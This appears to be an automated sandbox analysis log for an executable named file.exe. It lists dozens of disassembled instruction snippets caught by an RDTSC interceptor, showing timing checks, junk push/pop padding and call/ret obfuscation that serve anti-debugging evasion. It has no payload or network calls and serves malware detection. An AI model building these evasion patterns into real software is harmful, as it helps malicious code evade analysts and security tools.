Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386C67 second address: 386C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386C77 second address: 386C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE90543D6C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386C93 second address: 386C9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007FE9047A81C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387113 second address: 387119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38669F second address: 3866A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3866A3 second address: 3866AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3876B0 second address: 3876B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3876B6 second address: 3876C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE90543D6BDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3879C5 second address: 3879E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jo 00007FE9047A81C6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE9047A81CCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3879E6 second address: 387A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE90543D6C0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BF32 second address: 38BF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE9047A81C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C221 second address: 38C250 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 push edi 0x00000009 jbe 00007FE90543D6B6h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE90543D6C4h 0x0000001a jc 00007FE90543D6B6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C250 second address: 38C26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE9047A81CEh 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007FE9047A81C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CAD1 second address: 38CAEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE90543D6C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CAEE second address: 38CAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CAF4 second address: 38CAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CAF8 second address: 38CB1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D9h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CB1B second address: 38CB4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C1h 0x00000007 jmp 00007FE90543D6C0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007FE90543D6BEh 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CC8B second address: 38CC96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CFB3 second address: 38CFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38CFB7 second address: 38CFCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3311E3 second address: 3311EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3311EE second address: 3311F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3311F3 second address: 3311F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3311F9 second address: 331201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BC67 second address: 38BC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BC6D second address: 38BC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE9047A81C8h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jc 00007FE9047A81CEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390D66 second address: 390D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390D6C second address: 390D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007FE9047A81C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390D7B second address: 390D81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390D81 second address: 390D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390D8D second address: 390DB0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE90543D6B6h 0x00000008 jmp 00007FE90543D6C2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390DB0 second address: 390DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390DB6 second address: 390DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390DBC second address: 390DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390DC0 second address: 390DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 355923 second address: 355961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007FE9047A81D8h 0x00000013 popad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 355961 second address: 3306DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007FE90543D6BBh 0x0000000c lea eax, dword ptr [ebp+1248D682h] 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FE90543D6B8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dword ptr [ebp+1245A8EFh], eax 0x00000032 push eax 0x00000033 jmp 00007FE90543D6C0h 0x00000038 mov dword ptr [esp], eax 0x0000003b call 00007FE90543D6C0h 0x00000040 push ebx 0x00000041 sub dword ptr [ebp+122D1B65h], ebx 0x00000047 pop edi 0x00000048 pop edx 0x00000049 jmp 00007FE90543D6BEh 0x0000004e call dword ptr [ebp+122D391Ch] 0x00000054 pushad 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 355E51 second address: 355E57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 355FC6 second address: 356009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE90543D6C0h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jp 00007FE90543D6BEh 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007FE90543D6BCh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356009 second address: 35600F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35600F second address: 35606A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jl 00007FE90543D6C8h 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FE90543D6B8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, 69F1ECA1h 0x00000032 push 045A28BBh 0x00000037 pushad 0x00000038 pushad 0x00000039 ja 00007FE90543D6B6h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35621A second address: 356220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35639B second address: 35639F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356A4C second address: 356A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356929 second address: 35692D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356C47 second address: 356C55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356C55 second address: 356C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391069 second address: 391092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FE9047A81CEh 0x0000000f jns 00007FE9047A81C6h 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3911B2 second address: 3911EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE90543D6C1h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FE90543D6B6h 0x00000015 jmp 00007FE90543D6C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3911EA second address: 391202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391353 second address: 391357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391357 second address: 39135B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39135B second address: 391361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391361 second address: 39136A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39136A second address: 391370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391370 second address: 39139B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9047A81D4h 0x00000009 jmp 00007FE9047A81D2h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39139B second address: 3913AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FE90543D6B6h 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007FE90543D6B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39163F second address: 391643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391643 second address: 39164F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39164F second address: 391653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3918C5 second address: 3918CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3918CD second address: 3918D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3949CE second address: 3949E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE90543D6C1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394B54 second address: 394B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FE9047A81C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394B74 second address: 394B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 397471 second address: 397475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 397140 second address: 397162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE90543D6BEh 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnp 00007FE90543D6B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 397162 second address: 397181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 jne 00007FE9047A81D2h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39BA13 second address: 39BA61 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE90543D6CEh 0x00000008 jmp 00007FE90543D6C8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jnp 00007FE90543D6B6h 0x00000017 jmp 00007FE90543D6C9h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jnp 00007FE90543D6B6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39BA61 second address: 39BA7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE9047A81D4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39BBC7 second address: 39BBCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39BCFB second address: 39BD03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39BD03 second address: 39BD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F029 second address: 39F071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9047A81D3h 0x00000008 jc 00007FE9047A81C6h 0x0000000e je 00007FE9047A81C6h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push edi 0x00000019 pop edi 0x0000001a jmp 00007FE9047A81D7h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39E780 second address: 39E784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39E8EF second address: 39E8F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EA79 second address: 39EA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3412 second address: 3A3425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnc 00007FE9047A81CCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3425 second address: 3A343D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE90543D6C2h 0x00000008 jmp 00007FE90543D6BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A343D second address: 3A3441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3818 second address: 3A3865 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE90543D6BAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE90543D6C5h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE90543D6C1h 0x00000019 jbe 00007FE90543D6B6h 0x0000001f popad 0x00000020 jmp 00007FE90543D6BDh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356705 second address: 35670A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35670A second address: 356710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 356710 second address: 35674A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D36EDh], eax 0x00000015 mov ebx, dword ptr [ebp+1248D6C1h] 0x0000001b and edi, dword ptr [ebp+122D2D64h] 0x00000021 add eax, ebx 0x00000023 je 00007FE9047A81CCh 0x00000029 sub dword ptr [ebp+124536B4h], esi 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jnp 00007FE9047A81C8h 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35674A second address: 356788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FE90543D6B8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 add dword ptr [ebp+12464CBFh], ebx 0x0000002c push 00000004h 0x0000002e push esi 0x0000002f clc 0x00000030 pop ecx 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3B46 second address: 3A3B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3B4C second address: 3A3B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3B50 second address: 3A3B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6CE2 second address: 3A6CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6BDh 0x00000009 rdtsc
